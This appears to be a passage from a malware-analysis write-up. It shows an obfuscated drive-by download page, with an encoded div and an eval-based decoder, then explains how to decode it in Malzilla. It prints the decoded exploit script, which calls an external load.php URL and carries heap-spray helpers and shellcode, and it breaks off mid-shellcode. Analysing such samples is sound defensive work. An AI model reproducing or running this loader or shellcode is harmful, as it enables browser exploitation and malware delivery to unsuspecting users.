ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjE81GfRwYE81Gfs7it8CAtZ8@aUFjeyB7eZUCDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@KsnxfSCeay1iasFKrVAzPucDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEIZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7GcdztcFzDW8D@IZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKIWkitZGzEbDC8CBjERBjERBjERBjERBjERBjERBjERBjERwi8CBjERBjERBjERBjERBjERBjERBjERBjERzTtsCztEa@aRTTtSkT@LcD@mv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERpGIrQD@mv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEhd@IRK@rPZaaVhzaKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@rPQ7sR7va8szDU7trs7Xtb1@Id1AfS8sLEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7KFQjDvi@KEBD@mv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7awF7DKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@KsomKsPvVd8ervGvILBY@b7zecQPrb7TDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEIQDr9ksrLF7fEDiGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERTif61GIsQjeKwrcRBjERBjERBjERBjERBjERBjERBjERBjEIZrcRBjERBjERBjERBjERBjERBjERBjERBjEF1GackiKvGzEUaTao1@rLcD@mv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERpGIrQD@mv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEhd@IRK@rPZaaVhzaKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@rPQ7sR7va8szDUjeaeYXf8CxtZh@PBaTamd@a9YTfZG7eUcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEEAzELK@rP8jEKZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEeCADEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQKrVATsUnmu3deLKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEoFTKy1zELTTtFGjaWGvf6FzEtB7ybzCDRTTtFQDDIBKrVAvvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKrVAzEIBKrVA@Pw1GrwkGIEGvfLBYPVBayEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERTTtFQDDIB7rSk@ILBY@b7zecQPrb7TDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@KsKxIWGT61hxD81GfEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7Gmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwAEcdztcFzDW8D@IZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKIWkitZGzEbDC8CBjERBjERBjERBjERBjERBjERBjERBjERwi8CBjERBjERBjERBjERBjERBjERBjERBjERzTtsCztEa@aRUiayCvaZ1zDEDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjE6ii@RDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKt9iAEfZzaRwYEs1AayPC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKt9iAEfZzaRwYEca@rPFDLmCA@eh@esUXZXFx60QtPh@jeUcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEEAzELUiay8D@mv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBj@ehzEIBDrvi@KLj7ZwFiayiaP5ZxZJkM6qGjysBPLEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7Gmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEEAzD9Uiay8KIWkitZGzEbDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKt9iAEvi@KI@Ttyhvvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@KRwYEca@rPFDLKFYvS8ayr7TyezTerTCPunYf6w7rhgafeBYe6BCvh7aeVnCfVwsLEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDa8szEIBDa8s@Pvi@KWCztmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEEAzDvi@KEBD@mv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7awF7DKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjE6ii@RDsa8s@PvQifsFKaWYAE3iGI98ADEoKaWYAE3iGI98ADEoKaWYAE3iGI98ADEoKaWYAE3iGI98ADEoKaWYAE3iGI98ADEcDvIQDr9ksrLF7fEBD@IPC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@rPGDab1@aL@TfoQDZ8sTfckADEoKaWYAETi@KWCztLcjPs1vtRKIrP1vr6F7Dy@TfoQDZ8sTfckADEoKaWYAETi@KWCztLc7DKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@Ks7if6iXfu1ifwkAwWdzfWiADs1vtRKIrP1vr6F7DyjKPs@DLEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@rPGDIWkGVWditWCAtJ1TrS1@IL@TfoQDZ8sTfckADEojefdYeuzayhBCDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@Ks7if6iXfu1ifwkAwWdzfWiADs1vtRKIrP1vr6F7DyBY@uBCehzaybcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDa8s@Pw1zt11TIV1vI6Fmf9kTfZFKaWYAETi@KWCztLcjPbUiebnayhzYeEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@rPGDIWkGVWditWCAtJ1TrS1@IL@TfoQDZ8sTfckADEojefdYeuzayhBCDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@Ks7if6iXfu1ifwkAwWdzfWiADs1vtRKIrP1vr6F7DyBY@uBCehzaybcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDa8s@Pw1zt11TIV1vI6Fmf9kTfZFKaWYAETi@KWCztLcjPbUiebnayhzYeEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@rPGDIWkGVWditWCAtJ1TrS1@IL@TfoQDZ8sTfckADEojefdYeuzayhBCDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@Ks7if6iXfu1ifwkAwWdzfWiADs1vtRKIrP1vr6F7DyBY@uBCehzaybcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDa8s@Pw1zt11TIV1vI6Fmf9kTfZFKaWYAETi@KWCztLcjPbUiebnayhzYeEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@rPGDIWkGVWditWCAtJ1TrS1@IL@TfoQDZ8sTfckADEojefdYeuzayhBCDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@Ks7if6iXfu1ifwkAwWdzfWiADs1vtRKIrP1vr6F7DyBY@uBCehzaybcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDa8s@Pw1zt11TIV1vI6Fmf9kTfZFKaWYAETi@KWCztLcjPbUiebnayhzYeEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@rPGDIWkGVWditWCAtJ1TrS1@IL@TfoQDZ8sTfckADEojefdYeuzayhBCDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@Ks7if6iXfu1ifwkAwWdzfWiADs1vtRKIrP1vr6F7DyBY@uBCehzaybcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDa8s@Pw1zt11TIV1vI6Fmf9kTfZFKaWYAETi@KWCztLcjPbUiebnayhzYeEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@rPGDIWkGVWditWCAtJ1TrS1@IL@TfoQDZ8sTfckADEojefdYeuzayhBCDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@Ks7if6iXfu1ifwkAwWdzfWiADs1vtRKIrP1vr6F7DyBY@uBCehzaybcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDa8s@Pw1zt11TIV1vI6Fmf9kTfZFKaWYAETi@KWCztLcjPbUiebnayhzYeEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7Gmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwAEcdztcFzDW8D@IZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKIWkitZGzEbDC8CBjERBjERBjERBjERBjERBjERBjERBjERwi8CBjERBjERBjERBjERBjERBjERBjERBjERzTtsCztEa@aRnitECvKLcD@mv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERpGIrQD@mv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEhd@IRK@rPZaaVhzaKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@rPQ7sR7va8szDUnXtECvK08TaWG7VV8vrDkXKe1@P6j7DKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERc@fRUDa8sTDRDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwvILcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKt9iAE81GfRwYEUjDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKfviADhd@IRcTsbDCKtTYebDCKDD7DRDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjE81GfRD7sRj7u3dmuUDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERTTtFQDDIBDL3dmuUDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzvaZFKt9iAEEZYeKczswDCKDD7D81GfRD7sRjj8Xo48UDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQ7araMfEAAEIBjfvCTte1@a6GDrZ1Tr61Tby1TaWGztLjjfEAsLEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwT@zkTKhG7KsGTfZFx6mhxEIwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEUoPa8sTfckAEchTrwCiKSZYhU7zaw8zfaBaedAIeVpmyeUPuujCP6TIewwKunFYeepee6UYv3ixb2CIydhyLRjiKSkAKIoyLZBYeMYjEL1TKUFztIoyLZBYeMYKsUBDDmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDLtBirZdTaR@Tre1TsMYDIZCzhUBKt9hTtWZYhUK@rP1vr6atI6CAIMYKsUBDDmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDLtBirZdTaR@Tre1TsMYjtrQifMYjEhdzaV1TsMY7KedvfWaj@enitECvK68TaWhyLGjjEDwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEUoYI9iireQKa9ZTfIoyL91AtvQAa98AhUBKt9hTtWZYhUpGIV1zhU@PLRD78CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERjjsbd@I9ZzEsdTaWZYhUnAts1z@6dYhUBKt9hTtWZYhUoaI6CAIaKDPdiIudsPLDTTtFPDLGpMse8sIWh@fGoyLGjjEDwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEUoYI9iireQKa9ZTfIoyL6d@IU1ztMYjEhdzaV1TsMY7arCifyAzhU@PLRD78CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERjjsvK@rP1vr6GPLKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjESavrVZTfskGP8azfrG7rbQifskvuL8zaSF7araMfEAiDKwrcmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEIZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7GR7Tr6CzKLgTDRDiGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERTif61GIsQjeKwrcRBjERBjERBjERBjERBjERBjERBjERBjEIZrcRBjERBjERBjERBjERBjERBjERBjERBjEF1GackiKvGzEZ1TryF7DKZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjtZ8AEKZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQDa8sTss1AayPC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDa8szEIBDrvi@KLj7wHiMVnkAascmb1Qyu6h@Puj7DKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERc@fRUDa8sTDRDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERc@fLK@rPGjVydT@WiAVZazIWiAtrFDLqiyZ21yu0AXb1CXwTGeLE@PLh@jesnYysgCyZj7DRDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@KRwYEca@rPFDLKiabVpae3iCbegxbn8CP6TIbowjvnimeeUPyn8CvucabozmvwwsLEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEeCADEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEhd@IRwzEIBDLUDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEhd@IRTTtFQ7sRnzfSiADbUAecQPrb7zec8Dvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERjAKEhTfRUKrVA@Py1@aUkAKRoYEwTCDRBjERBjERBKrVAzEDwYE81GfKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKrVAzEIBKrVA@Pw1GrwkGIEGvfLBYPwTCDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7aRwYEvi@Ks7easCsay1vvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@rPGDuvGvIvhTfRwYE81GfKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDa8s@Pna@awazaWQ7sRwvvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwzEIBDa8s@Pna@awazaWPC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@Ks7easCsay1zEIBKrVAvvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@rPGDuvGvIvhTfRwYEePC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7Gmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwAEcdztcFzDW8D@IZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKIWkitZGzEbDC8CBjERBjERBjERBjERBjERBjERBjERBjERwi8CBjERBjERBjERBjERBjERBjERBjERBjERzTtsCztEa@aR@zt91AfEazDEDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjE6ii@KZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQDa8sTss1AayPC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDa8sTsca@rPFDLKYPyfTCvQdYyepmvunCP6BabQZ7uZzxeepmeupIufpIy2QaunZsLEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7KFFDa8sTDKZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEeCADEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQKrVAzEIB7rSk@ILBY@b7zecQPrb7TDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEoFTKy1zELTTtFGjaWGvf6FzEtB7yZBYeEBKrVAzEDwYE81GfKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjE81GfRwYE81Gfs7it8CAtZ8@aUFjeygaebBCDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@Ks7Xf6AeaZZTr6hmKD1vV9ZzIy1zD81GfEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7Gmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwsr9ksrLF7fEDiGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERTif61GIsQjeKwrcRBjERBjERBjERBjERBjERBjERBjERBjEIZrcRBjERBjERBjERBjERBjERBjERBjERBjEF1GackiKvGzEciif9kiKh1zDEDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjE6ii@KZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQDa8sTss1AayPC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDa8sTsca@rPFDLKQCuVzxbo7myenxyV7mP6cabnZ7u2imyecCvVTCy6jYbVjCeVwsLEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7KFFDa8sTDKZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEeCADEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQKrVAzEIB7rSk@ILBY@b7zecQPrb7TDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEoFTKy1zELTTtFGjaWGvf6FzEtB7yuTCDRTTtFQDDIBKrVAvvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKrVAzEIBKrVA@Pw1GrwkGIEGvfLBYPVnaeEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@rPGDr9CzKWAvaykTfZQ7sRTTtFPC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7Gmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwsr9ksrLF7fEDiGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERTif61GIsQjeKwrcRBjERBjERBjERBjERBjERBjERBjERBjEIZrcmv4ERBjERBjERBjERBjERBjERBjERBjERBKfVGvr68vasQDte1zDEDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjE6ii@RDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKt9iAEvi@KI@Ttyhvvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvi@KI7va8szDUDiufpee3kxeZwDyVBYvepYebpCPdiCbrw7u2CPeQQYvozxyw7mGUcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEEAzDvi@KEDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwvILcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKt9iAE81GfRwYE9kzfZFjefQPrb7zecQPrEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERjAKEhTfRUKrVA@Py1@aUkAKRoYEZBYebcjE81GfRD7sRTTtFPC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERTTtFQ7sRTTtFGDIVivI6iiKsYzDboKebBYeEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@rPGDbWkAbWkirEhvIgkGIEGvfLTTtFh7eEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7Gmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwAEcdztcFzDW8D@IZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKIWkitZGzEbDC8CBjERBjERBjERBjERBjERBjERBjERBjERwi8CwrcRBjERBjERBjERBjERBjERBjERBjERB7KFQjDmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERK@fF8vrWF7DRoAGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwzf9CzDEBjGtZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjfyF7DRoAGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERjiaWF7DRoAGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERjGfEF7DRoAGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjER7vaeF7DRoAGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERciruU7DRoAGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERcirZU7DRoAGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERz@rLcjEthi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEekvIwF7DRoAGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjER7@IWdztEAifLcjEthi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEoPvILcjEthi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEvYTre1zDEBjGtZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDr9F7DRoAGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERTTtSkT@LcjEthi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEUaTao1@rLcjEthi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEfZzaca@IWF7DRoAGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERnitECvKLcjEthi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEZ1TryF7DRoAGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjER@zt91AfEazDEwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERcjEKZi8CBjERBjERBjERBjERBjERBjERBjERBjERD</div><script>function KubcTHmYpv6eq(mBAkFTgMJXy){return String["fr"+"om"+"Ch"+"ar"+"C"+"ode"](mBAkFTgMJXy);}function sHtB4hi1QbsZ(ykOYY){var T74Jw8prbPgaM0=0,rU3TuE=ykOYY.length,YHbtRJAKVE3DE=1024,Q83fBn5jL3qp6,wJAdblW36hNa,lo0tcGvIS="",hC5P3uUM=T74Jw8prbPgaM0,oWHQIoTOVryQH=T74Jw8prbPgaM0,vAPr7hKp5W=T74Jw8prbPgaM0,LZoywTnTl=Array(63,57,47,42,50,51,31,32,9,10,0,0,0,0,0,0,20,53,44,33,0,2,13,21,46,22,35,16,3,55,34,43,1,45,11,15,36,12,30,14,39,49,25,0,0,0,0,62,0,17,27,8,41,6,19,56,29,37,48,61,58,38,40,28,60,59,18,5,23,26,4,24,54,7,52);for(wJAdblW36hNa=Math.ceil(rU3TuE/YHbtRJAKVE3DE);wJAdblW36hNa>T74Jw8prbPgaM0;wJAdblW36hNa--){for(eval("Q83fBn5jL3qp6=Ma"+"th.m"+"in(rU3TuE,YHbtRJAKVE3DE)");Q83fBn5jL3qp6>T74Jw8prbPgaM0;Q83fBn5jL3qp6--,rU3TuE--){vAPr7hKp5W|=(LZoywTnTl[ykOYY.charCodeAt(hC5P3uUM++)-48])<<oWHQIoTOVryQH;if(oWHQIoTOVryQH){lo0tcGvIS+=KubcTHmYpv6eq(43^vAPr7hKp5W&255);vAPr7hKp5W>>=8;oWHQIoTOVryQH-=2;}else{oWHQIoTOVryQH=6;}}}return (lo0tcGvIS);}var RZgA6X9Wov7z=document.getElementById('content').innerHTML;eval(sHtB4hi1QbsZ(RZgA6X9Wov7z));</script></body></html>


If we run this as is, in Malzilla, we are informed the script cannot be decoded. To get around this however, we can simply change;

RZgA6X9Wov7z=document.getElementById('content').innerHTML


To;

RZgA6X9Wov7z=content


All we need to do then, is move the code from the div, and shove it in a var called strangely enough, content;

var content = "all the rubbish from the content div"


If we have Malzilla try again, we now see the results of the decoding;

var url='http://www.sexy-celeb-photos.com/images2/load.php';
var m=new Array();
var mf=0;
function hex(num,width){
var digits='0123456789ABCDEF';
var hex=digits.substr(num&0xF,1);
while(num>0xF){
num=num>>>4;
hex=digits.substr(num&0xF,1)+hex;
}
var width=(width?width:0);
while(hex.length<width)hex='0'+hex;
return hex;
}
function addr(addr){
return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4));
}
function unes(str){
var tmp='';
for(var i=0;i<str.length;i+=4){
tmp+=addr((str.charCodeAt(i+3)<<24)+
(str.charCodeAt(i+2)<<16)+
(str.charCodeAt(i+1)<<8)+
str.charCodeAt(i));
}
return unescape(tmp);
}
function hav(){
m=m;
setTimeout('hav()',1000);
}
function gss(ss,sss){
while(ss.length*2<sss)ss+=ss;
ss=ss.substring(0,sss/2);
return ss;
}
function ms(){
var plc=unescape('%u785C%u3334%u785C%u3334%u785C%u3334%u785C%u3334%u785C%u3334%u785C%u3334%u785C%u4245%u785C%u4630%u785C%u4235%u785C%u3333%u785C%u3943%u785C%u3636%u785C%u3942%u785C%u3038%u785C%u3130%u785C%u3038%u785C%u3333%u785C%u4645%u785C%u3334%u785C%u3245%u785C%u4146%u785C%u4245%u785C%u3530%u785C%u3845%u785C%u4345%u785C%u4646%u785C%u4646%u785C%u4646%u785C%u4637%u785C%u4238%u785C%u4534%u785C%u4644%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3436%u785C%u4641%u785C%u3345%u785C%u3436%u785C%u4639%u785C%u3346%u785C%u3234%u785C%u3436%u785C%u4639%u785C%u3745%u785C%u4536%u785C%u3330%u785C%u4645%u785C%u4245%u785C%u4645%u785C%u4645%u785C%u3436%u785C%u3330%u785C%u3942%u785C%u3738%u785C%u3136%u785C%u3141%u785C%u3145%u785C%u3330%u785C%u3730%u785C%u3131%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3636%u785C%u4141%u785C%u4245%u785C%u3942%u785C%u3738%u785C%u3737%u785C%u3131%u785C%u3536%u785C%u3145%u785C%u3730%u785C%u4631%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3636%u785C%u4141%u785C%u3745%u785C%u3942%u785C%u3738%u785C%u4143%u785C%u4635%u785C%u3031%u785C%u4432%u785C%u3730%u785C%u4430%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3636%u785C%u4141%u785C%u3345%u785C%u3942%u785C%u3738%u785C%u3030%u785C%u3132%u785C%u4630%u785C%u4638%u785C%u3730%u785C%u4233%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3636%u785C%u4141%u785C%u4646%u785C%u3942%u785C%u3738%